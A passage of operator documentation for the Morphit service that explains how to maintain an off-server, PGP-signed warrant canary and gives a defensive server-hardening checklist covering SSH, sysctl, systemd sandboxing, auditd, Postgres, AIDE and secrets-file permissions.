Rate limit hit — Let's Encrypt limits 50 certs/week/registered-domain. If you're testing renewal repeatedly, you can hit this.

36. Warrant canary — weekly automated regeneration

What this is (plain language)

A warrant canary is a small signed text file your instance publishes at https://YOUR-DOMAIN/canary.txt, re-published every week. In it you state, in plain words, that nobody has secretly forced you to spy on users or weaken Morphit (no NSL, no FISA order, no gag order, no backdoor demand).

The trick: in many places the law can force you to spy AND forbid you from saying so — but it generally cannot force you to keep actively lying on a schedule. So if you are ever served such an order, you simply stop updating the canary. After 14 days of staleness, users (or a watchdog) who read the canary's Generated: date treat it as silent and move to another instance. You never have to say a word.

So your only ongoing job is boring: keep the file fresh — you re-sign it about weekly on your own machine and upload it to the server. DO NOT run this from a cron job on the server: a seized box would keep auto-signing "all-clear" canaries forever, silently turning your canary into a lie. Signing off-server is what makes it a real dead-man's switch — it goes stale exactly when it should (you're compelled and gagged, something happens to you, or the box is seized without your key). The file is PGP-signed by your canary key (which lives on your machine, never on the server) and carries freshness proofs (the current Blurt chain head, the current Bitcoin chain head, and a current news headline) so readers can confirm it was generated recently and not replayed from an old copy.

Setup (done once — ON YOUR OWN MACHINE)

Do all of this on the machine you'll sign from (e.g. your laptop) — the one place your canary PGP key lives. You only touch the server in step 5, to upload the finished files.

Make (or pick) a PGP signing key on your machine. If you already have a release/canary key here, skip to step 2.
```
gpg --quick-gen-key 'Morphit Operator <op@morphit.example>' \
    ed25519 sign 5y
```
Note the fingerprint from the output — you will need it.
Export your PGP public key so users can verify signatures without contacting a key server (you upload it in step 5):
```
FINGERPRINT="<from step 1>"
gpg --armor --export "$FINGERPRINT" > /tmp/pgp_keys.asc
```

Set the canary settings in your shell (or a local file you source). All four are required:

export MORPHIT_CANARY_PGP_KEY_ID="<your PGP fingerprint>"
export MORPHIT_CANARY_OPERATOR_NAME="<display name, e.g. morphit.io>"
export MORPHIT_CANARY_INSTANCE_ORIGIN="https://morphit.example.com"
# Only shown in the canary text to identify which operator it is —
# your relay account (MORPHIT_RELAY_ACCOUNT), e.g. morphit-relay.
# No key is needed for it; the canary is signed only with PGP.
export MORPHIT_CANARY_OPERATOR_ACCOUNT="<your relay account, e.g. morphit-relay>"

# Optional — sensible defaults are used if you omit these:
# The Blurt chain-head fetch fails over across the whole rotator
# list (DEFAULT_BLURT_RPC_ENDPOINTS) by default, so a single dead
# node won't stall the canary. Set this ONLY to pin one node on
# purpose (leaving it unset is what you want):
# export MORPHIT_CANARY_BLURT_RPC="https://rpc.blurt.one"
# export MORPHIT_CANARY_NEWS_RSS="https://cointelegraph.com/rss"

No Blurt private key is involved — the canary is signed only with your PGP key, which gpg manages. If you keep these in a file, chmod 600 it and never commit it.

Sign the canary from your local repo checkout:
```
cd ~/path/to/morphit          # your local checkout
bash scripts/canary/generate.sh
```
Success ends with canary: wrote .../apps/web/static/canary.txt — the freshly-signed file on YOUR machine. It is NOT live yet: nginx on the server serves from build/, not static/. Step 5 puts it where it's served.

Upload the signed files to the server's served dir, then confirm the signature over the live URL:

# copy up to a temp spot first (the served dir is root-owned),
# then move both into place on the server:
scp apps/web/static/canary.txt /tmp/pgp_keys.asc you@your-server:/tmp/
ssh you@your-server \
  'sudo cp /tmp/canary.txt /tmp/pgp_keys.asc /opt/morphit/apps/web/build/'

# verify it's live + valid (your public key must be in your keyring):
curl https://morphit.example.com/canary.txt | gpg --verify
# Should report: Good signature from "Morphit Operator <op@...>"

nginx serves the new files immediately — no restart needed.

Keep it fresh — and mind two gotchas:
- Re-sign + re-upload about weekly (repeat steps 4–5); set a recurring reminder somewhere you'll see it. If you're ever compelled to spy on users, you simply stop — after 14 days a stale Generated: date is the signal users (or a watchdog) act on (there is no automatic banner; see the note below).
- Re-upload after every morphit-ops upgrade. An upgrade rebuilds build/, which wipes the canary. If you sign on the same box you serve from, the upgrade re-runs your refresh (~/.morphit/update-canary.sh) and restores it for you. If you sign on a separate machine (the recommended posture), the upgrade prints a reminder and morphit-ops health shows the canary "missing" (red) until you re-run step 5. Either way the upgrade keeps build/ and static/ writable for your upload, and scripts/canary/setup.sh (remote mode) hands the served folder to your SSH login when it can — so you should not hit Permission denied.
A freshness alarm for yourself (so you find out before your users do — catches an expired PGP key, a bad upload, a forgotten re-upload after a deploy). On the server, morphit-ops health also watches the served canary — red if it's missing or past its date, amber while it's still valid but low on remaining time (the sign a weekly refresh has stalled). For an independent check from OUTSIDE the server, run the verifier from your OWN machine; it checks the live URL exactly as a user's browser would:
```
# daily cron on YOUR machine (not the server):
cd ~/path/to/morphit
if ! npx tsx scripts/canary/verify.ts https://morphit.example.com/canary.txt; then
    echo "Morphit canary stale or invalid" \
      | mail -s "morphit canary FAILED" you@example.com
fi
```
(The Security page already explains the 14-day rule to users and links to your /canary.txt — nothing to set up there. Note there is no automatic staleness banner: detecting a stopped canary is the user's / a watchdog's job, done by reading the Generated: date. That manual check IS the canary's whole point.)

What to do if you are served with a gag order

This is the canary's whole point. Do not lie. Stop updating the canary. Your users switch to other operators (the federation), and Morphit's marketplace continues without you. That is by design. If you cannot even tell anyone you have stopped, just stop re-signing and re-uploading it — the Generated: date stops advancing, and users (or a watchdog) who read it treat a canary that hasn't updated in 14 days as silent and switch — the Security page states exactly that rule.

Privacy considerations

The generator fetches three external resources when you run it (on your signing machine, never on user devices):

a Blurt RPC for the chain head (defaults to the built-in DEFAULT_BLURT_RPC_ENDPOINTS rotator with failover — any Blurt RPC works; pin one with MORPHIT_CANARY_BLURT_RPC if you prefer),
blockstream.info for the Bitcoin chain head (currently hardcoded; file an issue if you need your own bitcoind),
an RSS feed for news entropy (default Cointelegraph — choose any high-frequency public feed you trust).

Users who fetch /canary.txt only hit your own static file, so the canary never leaks user IPs to third parties.

37. Comprehensive server hardening — defense-in-depth checklist

The earlier sections (§5 in RUN-A-MORPHIT-NODE.md, §32 BunkerWeb, §34 UFW + fail2ban, §35 TLS) cover the application-layer defenses. This section covers everything else — the OS / kernel / SSH / database / process-isolation / monitoring / physical layers an attacker will probe once they realize the application itself isn't trivially exploitable.

The threat model for this section is a determined attacker who has already seen the public source code and exhausted the obvious application-layer attacks documented in SECURITY.md. What's left is host-level intrusion: SSH brute-force, kernel exploits, lateral movement from a low-priv compromise, log tampering, backup theft, evil-maid attacks on a stolen disk. Each subsection here is a concrete, copy-pasteable defense.

This section is a checklist, not a step-by-step. Treat each subsection as independent and skippable — every one of them improves the security posture, and skipping any one of them is a tradeoff you should make consciously, not by default. An operator who applies all of them is well above the typical-VPS-deployment baseline.

Before you start — the three highest-stakes gotchas

If you only remember three things from this section, remember these. Each one is a footgun that costs more than the time spent reading it.

SSH lockout (§37.1). Before reloading sshd after the key-only / no-root config change, open a SECOND ssh session to the host and confirm key-based login works in it. Only then close the first session. Every doc says this; people still get it wrong; the recovery path is console / KVM access to the VPS.
BunkerWeb trusted-proxy IPs (§32). The relay only trusts X-Forwarded-For from loopback by default. Behind BunkerWeb that's wrong in two opposite ways:
- If you do NOT set MORPHIT_RELAY_TRUSTED_PROXY_IPS, the relay sees every user as the same IP (BunkerWeb's). One abuser exhausts the daily rate limit for everyone.
- If you set it too WIDE (e.g., 0.0.0.0/0), anyone can spoof X-Forwarded-For and bypass rate limiting entirely.
Set it to the exact CIDR/IP of your BunkerWeb upstream. See §32 for the Docker-compose bridge case.
Postgres binding (§37.8). If postgresql.conf has anything other than localhost / 127.0.0.1 in listen_addresses, you're exposed to the network. Default is loopback-only; verify it wasn't changed by Docker or by a well-meaning previous admin. Test from an external IP: psql -h <public-ip> -U morphit_indexer should time out, never connect.

Suggested apply order

Subsections are independent and can be applied in any order, but a sensible sequence for a fresh deployment is:

§37.1 → §37.2 → §37.3 → §37.4 → §37.5 → §37.6 → §37.7 → §37.8 → §37.9 → §37.10 → §37.11 → §37.12 → §37.13 → §37.14 → §37.15 → §37.16 → §37.17 → §34 (UFW + fail2ban) → §35 (TLS) → §32 (BunkerWeb) → §38 (squatter defense) → §37.18 (verification map)

Test after each. If you're triaging a partially-hardened existing deployment, start with §37.18 to identify what's missing and work backwards.

37.1 SSH hardening

Default Ubuntu sshd_config is OK but not great. Tighten it. Edit /etc/ssh/sshd_config.d/99-morphit-hardening.conf (a new file in the .d directory wins over the main config):

# Refuse password authentication entirely.  Keys only.
# DANGER: lock yourself in via a working key BEFORE setting
# this!  Test from a SECOND ssh session that key login works,
# THEN apply this and reload sshd.
PasswordAuthentication no
ChallengeResponseAuthentication no
KbdInteractiveAuthentication no
UsePAM yes

# Refuse root login.  Use a sudo-capable operator account.
PermitRootLogin no

# Lower the brute-force surface.  Default is 6.
MaxAuthTries 3
MaxSessions 5

# Disconnect idle sessions after 10 minutes.
ClientAliveInterval 300
ClientAliveCountMax 2

# Whitelist by user.  Replace 'morphit' with whatever account
# you use to operate the host.
AllowUsers morphit
# (optional) AllowGroups sudoers

# Refuse X11 / agent / TCP forwarding unless you actually use
# them.  If you do, comment these out.
AllowTcpForwarding no
X11Forwarding no
AllowAgentForwarding no
PermitTunnel no

# Slow-loris defense — don't let half-open SSH connections
# linger.
LoginGraceTime 30s

# Modern crypto only — no RSA-1024 leftovers, no DSA, no MD5
# HMACs.  Ubuntu 24's defaults are already mostly fine; this
# is belt-and-suspenders.
HostKeyAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com

# Log every login (success/fail) to syslog, which auditd then
# captures (see §37.6).
LogLevel VERBOSE

Apply:

# CRITICAL: open a SECOND ssh session and confirm key-only
# login works in it BEFORE reloading sshd.  If you can't log
# in to the second session, fix sshd_config in the FIRST
# session (which is still alive) before reloading.
sudo sshd -t  # syntax check; must print nothing on success
sudo systemctl reload ssh

Optional: change the SSH port. Moves you off the bot firehose (port 22 is scanned constantly). Doesn't add real security against a targeted attacker, but reduces log noise by 99%+. If you do this, update UFW (sudo ufw allow 2222/tcp or whatever you pick) BEFORE reloading sshd.

37.2 Unattended security upgrades

The biggest risk to a long-running Linux box is "operator forgot to apply the kernel CVE patch from 8 months ago." Automate the security-only patch stream:

sudo apt install -y unattended-upgrades apt-listchanges
sudo dpkg-reconfigure -plow unattended-upgrades
# Choose "Yes" to enable automatic updates.

Verify the config picks ONLY security upgrades (not feature upgrades, which can break things mid-night):

grep -E '^[^/]*"[^"]*";' /etc/apt/apt.conf.d/50unattended-upgrades \
  | grep -v Allowed-Origins

The default Ubuntu 24 config enables ESM-Apps + ESM-InfraSec + distro security updates. It does NOT enable feature updates. That's correct.

To make sure the timer actually runs:

systemctl status unattended-upgrades.service
systemctl status apt-daily.timer apt-daily-upgrade.timer
# All three should be active/enabled.

After a security upgrade lands, services that link the upgraded library may need restart. Install needrestart:

sudo apt install -y needrestart
# Default mode (interactive) prompts at next login.  For a
# headless production box, edit /etc/needrestart/needrestart.conf:
#   $nrconf{restart} = 'a';   # auto-restart services
#   $nrconf{kernelhints} = 0; # don't print kernel-needs-reboot to login MOTD if you handle that elsewhere

Apply changes:

sudo dpkg-reconfigure needrestart

For kernel updates — those need a reboot. Either schedule one manually after needrestart reports a kernel-pending state, or accept Ubuntu's Unattended-Upgrade::Automatic-Reboot "true"; (commented-out by default). Recommended posture: leave automatic-reboot OFF, monitor /var/run/reboot-required, and reboot on a maintenance window — your relay's BLURT-broadcast in-flight transactions tolerate operator-initiated reboots better than mid-night surprise ones.

37.3 Kernel sysctl hardening

Drop these into /etc/sysctl.d/99-morphit-hardening.conf:

# ─── Network: spoof / source-routing / redirect defenses ──
# Ignore source-routed packets (a 1990s LAN trick attackers
# still occasionally try).
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# Ignore ICMP redirects (used in MITM / route-poisoning).
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

# Don't send ICMP redirects (we're not a router).
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# Reverse-path filter.  Drop packets whose source IP wouldn't
# normally route back the way it came (anti-spoof).
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Log martian packets.  Spammy but useful during incident response.
net.ipv4.conf.all.log_martians = 1

# Ignore broadcast pings (smurf-attack defense).
net.ipv4.icmp_echo_ignore_broadcasts = 1

# Ignore bogus error responses.
net.ipv4.icmp_ignore_bogus_error_responses = 1

# SYN cookies — defends against SYN-flood DoS.
net.ipv4.tcp_syncookies = 1

# Increase the SYN backlog so a small SYN flood doesn't
# starve legitimate connections.
net.ipv4.tcp_max_syn_backlog = 4096

# ─── Kernel: information disclosure / privilege escalation ──
# Restrict /proc/kcore, /var/log/dmesg etc. to root.  Hides
# kernel pointers from local-unprivileged exploits.
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2

# Disable suid core dumps — they can leak secrets the suid
# binary handled.
fs.suid_dumpable = 0

# Restrict kernel logs.
kernel.printk = 3 4 1 3

# ptrace defense — prevent processes from attaching to OTHER
# processes' memory unless they're a parent or have CAP_SYS_PTRACE.
kernel.yama.ptrace_scope = 1

# Restrict perf_event so unprivileged users can't profile
# kernel addresses.
kernel.perf_event_paranoid = 3

# Disable BPF for non-root (Ubuntu default is 2 ≈ "root only").
kernel.unprivileged_bpf_disabled = 1
net.core.bpf_jit_harden = 2

# ─── Filesystem ──
# Only allow regular users to follow symlinks they own (or
# the directory's owner).  Hardlinks similarly.  Defends
# against /tmp-race attacks.
fs.protected_symlinks = 1
fs.protected_hardlinks = 1

# Protect FIFOs and regular files against world-writable-tmp
# overwrite races (5.x kernel feature).
fs.protected_fifos = 2
fs.protected_regular = 2

Apply without reboot:

sudo sysctl --system
# Read-back to confirm the file took effect:
sudo sysctl -a 2>/dev/null | grep -E 'kptr_restrict|tcp_syncookies|rp_filter' | sort -u

37.4 Filesystem mount hardening

Add these mount options to /etc/fstab to reduce what an attacker can do if they get a writable foothold in /tmp, /var/tmp, or /dev/shm:

# /etc/fstab — additions / modifications
tmpfs   /tmp        tmpfs   defaults,nosuid,nodev,noexec   0 0
tmpfs   /dev/shm    tmpfs   defaults,nosuid,nodev,noexec   0 0
# /var/tmp — bind-mount to /tmp so it shares the same hardening
/tmp    /var/tmp    none    bind                            0 0

nosuid defangs attempt to drop a setuid binary in /tmp and exploit it. nodev blocks creation of device nodes. noexec blocks running binaries from /tmp — most fileless droppers download to /tmp and chmod+x. ⚠ Some installers and apt hooks expect /tmp to be executable; if apt upgrade starts failing, temporarily remount /tmp without noexec for the upgrade window:

sudo mount -o remount,exec /tmp
sudo apt upgrade
sudo mount -o remount /tmp  # back to fstab settings

Alternative: skip noexec on /tmp specifically and only apply to /var/tmp + /dev/shm. That's the conservative posture — most of the attack value is in /dev/shm (which legitimate apps rarely write to) and /var/tmp (used by long-lived caches), not /tmp.

Apply:

sudo mount -a   # remount everything per fstab; failure here means a typo
sudo systemctl daemon-reload
# Verify:
mount | grep -E '/tmp|/dev/shm|/var/tmp'

37.5 Process / capability hardening for the Morphit services

Morphit ships systemd units in ops/systemd/. As shipped they run as User=root, matching the root-owned /opt/morphit install tree and operator config (the canonical morphit-ops and Ansible deployments both copy these units verbatim, so this is the default everywhere). Two hardening moves apply. First, and highest-value: de-privilege them — chown /opt/morphit's config

data to a dedicated service user and set User=/Group= in each unit (the unit's own header comment spells out exactly this). Second: add the systemd-level isolation below, which tightens the blast radius whether the service runs as root or as a dedicated user. Edit each service file (or create a drop-in at /etc/systemd/system/morphit-indexer.service.d/hardening.conf, similar for morphit-relay.service):

The web frontend has no systemd unit. The frontend is static HTML/CSS/JS built by npm run build; nginx serves it from /var/www/morphit-frontend (root path set in ops/nginx/web.conf). Hardening for the web tier is an nginx-config concern, not a systemd one.

[Service]
# Filesystem isolation — paths here MUST match what the unit
# actually writes to (data dir, log dir).  Ubuntu's path
# conventions:
#
#   indexer:   /var/lib/morphit            (DB-adjacent state)
#   relay:     /var/lib/morphit-relay      (relay state, BLURT cache)
#   logs:      /var/log/morphit/<service>  (only if you log to file
#                                           rather than journald — most
#                                           Morphit services log to
#                                           journald, in which case
#                                           the log path can be omitted)
#
# NOTE: the canonical morphit-ops / Ansible install runs from
# /opt/morphit with DATA in Postgres (a Docker container reached
# over TCP) and logs in journald — so it writes almost nothing to
# the local filesystem. The /var/lib paths above are illustrative
# and apply only if you have deliberately relocated per-service
# state there; set ReadWritePaths to whatever YOUR install writes
# to (test with `ProtectSystem=strict`, then add paths for any
# "read-only file system" errors in the journal).
#
# Each service unit gets ONLY the paths it owns.  An indexer
# unit shouldn't list /var/lib/morphit-relay; a relay unit
# shouldn't list /var/lib/morphit.  This is part of the
# isolation goal — a compromised relay can't trample the
# indexer's data.
ProtectSystem=strict
ProtectHome=true
# Indexer service:
ReadWritePaths=/var/lib/morphit
# Relay service (use this line INSTEAD on the relay's drop-in):
# ReadWritePaths=/var/lib/morphit-relay
PrivateTmp=true
PrivateDevices=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectKernelLogs=true
ProtectControlGroups=true
ProtectClock=true
ProtectHostname=true
ProtectProc=invisible
ProcSubset=pid

# Networking — Morphit needs IPv4/v6/UNIX, nothing exotic
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6
IPAddressDeny=any
# (then explicitly allow what we need; the strictest form
# requires you to allow each remote address individually,
# which is impractical for the indexer's chain RPC fanout.
# Pragmatic: allow everything but log it via auditd.  See §37.7.)
IPAddressAllow=any

# Privilege/capability isolation
NoNewPrivileges=true
CapabilityBoundingSet=
AmbientCapabilities=
RestrictSUIDSGID=true
RestrictNamespaces=true
LockPersonality=true
RestrictRealtime=true
# Node's V8 JIT needs writable-AND-executable memory pages, so
# MemoryDenyWriteExecute=true crashes the runtime at startup.
# Leave this off for Morphit's services.  If you ever ship a
# version that runs through `--jitless` (much slower), you can
# turn this on.
MemoryDenyWriteExecute=false
SystemCallArchitectures=native
# Node needs more syscalls than @system-service alone provides
# (epoll variants, getrandom, eventfd, sched_*, mmap with PROT_EXEC).
# @system-service + @network-io + the listed allowlist works for
# typical Node 22.x.  If your service still fails to start,
# inspect `journalctl -u <service> -n 100` for "blocked syscall"
# messages and add the syscall to the filter explicitly.
SystemCallFilter=@system-service @network-io
SystemCallFilter=~@privileged @resources @debug @mount @reboot @swap @raw-io @cpu-emulation @obsolete

# Resource limits (defense against fork bombs / memory leaks)
LimitNOFILE=16384
LimitNPROC=512
TasksMax=1024

Apply:

sudo systemctl daemon-reload
sudo systemctl restart morphit-indexer.service
sudo systemctl restart morphit-relay.service
# Confirm tightened settings took effect:
sudo systemctl show morphit-indexer.service | grep -E 'ProtectSystem|NoNewPrivileges|SystemCallFilter' | head

If the relay refuses to start after applying these (signed broadcasts use Node native crypto which may need more syscalls than the filter covers), relax incrementally:

Check journalctl -u morphit-indexer.service -n 100 for seccomp denial entries. They name the syscall that was blocked — audit: type=1326 ... syscall=257 ... — and you can add that syscall name to a permissive SystemCallFilter line.
Try SystemCallFilter=@common instead of @system-service @network-io. @common is broader and will catch more legitimate Node usage.
As a last resort, comment out the SystemCallFilter lines entirely and keep the other ProtectSystem / NoNewPrivileges / ReadWritePaths defenses — those alone still block 80% of the post-compromise attack surface.

The tradeoff matrix is: tighter config = harder to exploit if the service is compromised, but more fragile to legitimate runtime needs. Accept the loosest setting that actually works.

37.6 auditd — log everything that looks suspicious

auditd is the kernel-level audit framework. It's noisy by default but indispensable when investigating "did anyone log in via SSH between Tuesday and now."

sudo apt install -y auditd audispd-plugins
sudo systemctl enable --now auditd

Drop a Morphit-specific ruleset at /etc/audit/rules.d/morphit.rules:

# Watch successful + failed SSH logins
-w /var/log/auth.log -p wa -k auth-events

# Watch sudoers and PAM config — any change here is interesting
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d -p wa -k sudoers
-w /etc/pam.d -p wa -k pam

# Watch the morphit user's authorized_keys — an attacker who
# wants persistence WILL drop a key here.
-w /home/morphit/.ssh/authorized_keys -p wa -k ssh-keys

# Watch crontabs — second favorite persistence mechanism.
-w /etc/cron.d -p wa -k cron
-w /etc/cron.daily -p wa -k cron
-w /etc/cron.hourly -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron -p wa -k cron

# Watch systemd unit dirs — third favorite.
-w /etc/systemd/system -p wa -k systemd
-w /lib/systemd/system -p wa -k systemd

# Watch Morphit's own files — config drift signals trouble.
-w /opt/morphit -p wa -k morphit-files

# Privileged escalation attempts
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -F auid!=4294967295 -k privesc

# Rule editing protection — make the ruleset itself immutable
# until reboot.  Comment out during testing.
# -e 2

Apply:

sudo augenrules --load
sudo systemctl restart auditd
# Read recent events:
sudo aureport -i --summary
sudo ausearch -k ssh-keys -ts today

Configure auditd's own log rotation in /etc/audit/auditd.conf:

max_log_file = 50          # MB
num_logs = 8
max_log_file_action = ROTATE
disk_full_action = SYSLOG  # don't halt the system if /var fills
disk_error_action = SYSLOG

37.7 AppArmor profiles for Morphit services

Ubuntu ships AppArmor enabled by default; verify:

sudo aa-status
# Should show "apparmor module is loaded" and a list of confined
# profiles.  If it's not loaded, you're on a stripped image
# (or AppArmor was disabled deliberately).

Custom profiles for morphit-indexer and morphit-relay are aspirational (writing a tight AppArmor profile that doesn't break Node + libsodium + every npm transitive is a research project). The pragmatic posture:

Confine nginx (already covered by Ubuntu's stock profile).
Confine postgresql (also stock).
Leave the Node services in unconfined mode — the systemd hardening in §37.5 covers the same isolation surface for those.

If you want to explore writing a Morphit-specific profile, start with aa-genprof while running the relay in a non-prod environment and exercise the full surface. Expect 2-4 hours of profile tuning before it's stable.

37.8 Postgres hardening beyond `listen_addresses`

§34 covers listen_addresses = 'localhost'. Three more defenses to apply:

a. SCRAM-SHA-256 password hashing. Ubuntu 24's default is already SCRAM-SHA-256; older versions used MD5. Verify:

sudo -u postgres psql -t -c "SHOW password_encryption;"
# Expected: scram-sha-256
# DANGER:   md5

If MD5, switch:

sudo -u postgres psql -c "ALTER SYSTEM SET password_encryption = 'scram-sha-256';"
sudo systemctl reload postgresql
# Now CHANGE every password (just-flipping the setting doesn't
# rehash existing passwords; they stay MD5 until reset):
sudo -u postgres psql -c "ALTER USER morphit_indexer WITH PASSWORD '<new password>';"

b. pg_hba.conf — peer auth for local, scram for everything else. Edit /etc/postgresql/*/main/pg_hba.conf:

# TYPE   DATABASE    USER       ADDRESS         METHOD
local    all         postgres                   peer
local    all         all                        peer
host     morphit_indexer  morphit_indexer  127.0.0.1/32  scram-sha-256
host     morphit_indexer  morphit_indexer  ::1/128       scram-sha-256
# DENY EVERYTHING ELSE (implicit; anything not matched above rejects)

peer for local sockets means Postgres trusts the OS-level UID of the connecting process, no password needed — that's how the backup script and DB shell login work. scram-sha-256 for the TCP loopback is what Morphit's indexer + relay use, and the password is in the .env file (which is 0640 root:morphit per §37.10).

Apply:

sudo systemctl reload postgresql
# Test that the morphit_indexer user from localhost still works:
psql -h 127.0.0.1 -U morphit_indexer -d morphit_indexer -c 'SELECT 1;'
# Test that postgres user via socket still works:
sudo -u postgres psql -c 'SELECT 1;'

c. Database-level CONNECT permission. Drop ambient CONNECT for the morphit_indexer role on databases it doesn't need:

sudo -u postgres psql <<'PSQL'
REVOKE ALL ON DATABASE postgres FROM morphit_indexer;
REVOKE ALL ON DATABASE template0 FROM morphit_indexer;
REVOKE ALL ON DATABASE template1 FROM morphit_indexer;
GRANT  CONNECT ON DATABASE morphit_indexer TO morphit_indexer;
PSQL

d. Statement-level audit (optional). pg_audit is an extension that logs every DDL + DML — useful for detecting tampering, but adds 5-15% overhead. Recommended for a high- value canonical operator host, optional otherwise. Install with apt install postgresql-17-pgaudit (match the major version installed) and configure via shared_preload_libraries = 'pgaudit' in postgresql.conf plus pgaudit.log = 'write,ddl' in the morphit DB's configuration. Restart Postgres to take effect.

e. statement_timeout — defense-in-depth against runaway queries. Morphit's pg pool (apps/indexer/src/db/pool.ts) sets connectionTimeoutMillis: 5000 and idleTimeoutMillis: 30000, but deliberately does not set a pool-level statement_timeout — doing so at the client would force a single value across both the indexer worker (which writes blocks one-at-a-time and stays sub-second in steady state) and ad-hoc psql sessions an operator might use for maintenance. The right place to set this defense is at the Postgres server, per-database, where the operator owns the value:

# Set a 30-second per-statement ceiling for the indexer DB.
sudo -u postgres psql -d morphit_indexer -c \
    "ALTER DATABASE morphit_indexer SET statement_timeout = '30s';"

This applies to all new connections from this point on. Existing pool connections keep the old value until they recycle, so reload the services to pick it up promptly:

sudo systemctl restart morphit-indexer morphit-relay

Choice of value. 30s is comfortable for Morphit's normal HTTP API + per-block indexer transactions (steady-state queries run in sub-second; 30s is two orders of magnitude of headroom). Bump to 60s if you're running unusually large backfills or your instance has accumulated tables beyond typical scale. 0 (unlimited) is Postgres's unsafe default — don't leave it there.

Initial backfill on a fresh instance. The poller drains the chain block-by-block with one transaction per block. No single statement is ever a deep replay; each block's write stays well under the timeout even when catching up from genesis on a brand-new instance. No special handling needed.

Posting-key backfill (cp404). On every indexer boot, a one-shot idempotent backfill populates the accounts.posting_pubkey column (added in schema v36) — the durable BLT posting key shown on the order cards' identity line and used by the chat PDF export. It runs ALTER TABLE accounts ADD COLUMN IF NOT EXISTS posting_pubkey (so the column lands on an already-running instance at the next morphit-ops upgrade without a tracked migration), then fills any NULL rows in creation-block order (batched, capped per boot) by reading each account's current posting.key_auths[0][0] from the chain. It is fire-and-forget and NEVER blocks startup or ingestion; a failure only logs a warning. Nothing to configure. Expect one of:

posting_key_backfill_done (INFO) — payload {ensuredColumn, scanned, updated, remaining}. remaining > 0 just means the cap was hit this boot; the rest fill on subsequent boots. Once updated and remaining are both 0, every known account has its key and the line stops appearing.
posting_key_backfill_failed (WARN) — a chain-read or DB hiccup; harmless, retried next boot. The order cards simply omit the key line for un-backfilled accounts until then.

Ad-hoc long queries. If you ever need to run a one-off long query (analytics from psql, a custom report), override per-session without changing the database default:

SET statement_timeout = 0;
-- long query here
RESET statement_timeout;

Verify it took effect:

sudo -u postgres psql -d morphit_indexer -c \
    "SHOW statement_timeout;"
# Expected: 30s

You can also verify per-role from inside a Morphit-side psql session by setting MORPHIT_INDEXER_DATABASE_URL and running psql "$MORPHIT_INDEXER_DATABASE_URL" -c 'SHOW statement_timeout;' — that proves the indexer user picks up the database-level default through the connection string.

37.9 Filesystem integrity monitoring with AIDE

AIDE (Advanced Intrusion Detection Environment) baselines every file's hash and reports changes. Install once, run nightly, review the diff in the morning:

sudo apt install -y aide
# Generate the initial baseline.  ⚠ Do this AFTER the system
# is fully configured — a baseline of a half-installed system
# won't tell you anything useful.
sudo aideinit
sudo cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

Configure to ignore noisy paths (logs, /var/cache, /tmp). Edit /etc/aide/aide.conf to taste — Ubuntu's default config is reasonable but mentions the package's own paths heavily; trim those before baselining.

Schedule nightly check:

# /etc/cron.d/aide-morphit
30 3 * * *  root  /usr/bin/aide --check 2>&1 | mail -s "AIDE on $(hostname)" your-pager@example.com

Three things to know:

AIDE will alert on every legitimate change too (apt upgrades, log rotation, /var/lib/morphit writes). Tune the config to ignore those paths or accept the noise.
The AIDE database itself MUST be protected — an attacker who compromises root can update the baseline to hide their tracks. Mitigations: store the baseline on read-only media (rare) or, more practically, rsync the baseline off-host nightly so an attacker can't quietly rewrite it.
AIDE does not replace antivirus. It's a tripwire, not a scanner.

For a lighter-weight alternative, debsums checks the integrity of installed Debian packages against the package manager's manifests:

sudo apt install -y debsums
sudo debsums -c   # report changed package files

Less comprehensive than AIDE but zero-config.

37.10 Secrets file hygiene

The Morphit services read MORPHIT_RELAY_ACTIVE_KEY_FILE, Postgres credentials, etc., from environment files (typically /etc/morphit/relay.env, /etc/morphit/indexer.env). These files MUST be 0640, owned root:morphit — root owns them, the morphit service group reads them (what the canonical morphit-ops / Ansible install lays down, and what §37.19 verifies):

sudo chown root:morphit /etc/morphit/indexer.env
sudo chmod 0640 /etc/morphit/indexer.env
sudo chown root:morphit /etc/morphit/relay.env
sudo chmod 0640 /etc/morphit/relay.env

# Verify:
ls -l /etc/morphit/*.env
# Expected: -rw-r----- 1 root morphit ... (octal 640)

The shipped systemd unit sources this file from its ExecStart wrapper (set -a; . /etc/morphit/indexer.env; set +a — a shell wrapper is used deliberately so both KEY=value and export KEY=value forms load), which respects the 0640 perm. (If you switch to an EnvironmentFile=/etc/morphit/indexer.env directive instead, systemd reads it as root before dropping to the service user — either way the 0640 file is only ever read by a privileged reader.)

Don't:

Store secrets in /opt/morphit/.env (world-readable in a default git checkout)
Echo secrets to logs (Morphit's logger redacts context-object keys whose name matches a secret-suffix pattern — *_KEY*, *_PASSWORD, *_PASSPHRASE, *_SECRET, *_TOKEN, *_WIF, *_MNEMONIC, plus the camelCase variants apiKey, activeKey, userPassword, etc. Public identifiers like publicKey / VAPID_PUBLIC_KEY are explicitly exempt. See isSecretContextKey / redactSecrets in apps/indexer/src/log/index.ts for the canonical list and unit tests in apps/indexer/test/log.test.ts for coverage. If you add a new secret-shaped env var with a non-matching name, either rename it to fit the pattern or extend the allow-list)
Commit .env files to your operator-config repo (use .env.example with placeholder values, .gitignore the real one)
Pass secrets via command-line args (/proc/<pid>/cmdline is world-readable)

Optional but recommended: encrypted-at-rest secrets via age or sops:

# Initial setup
sudo apt install -y age
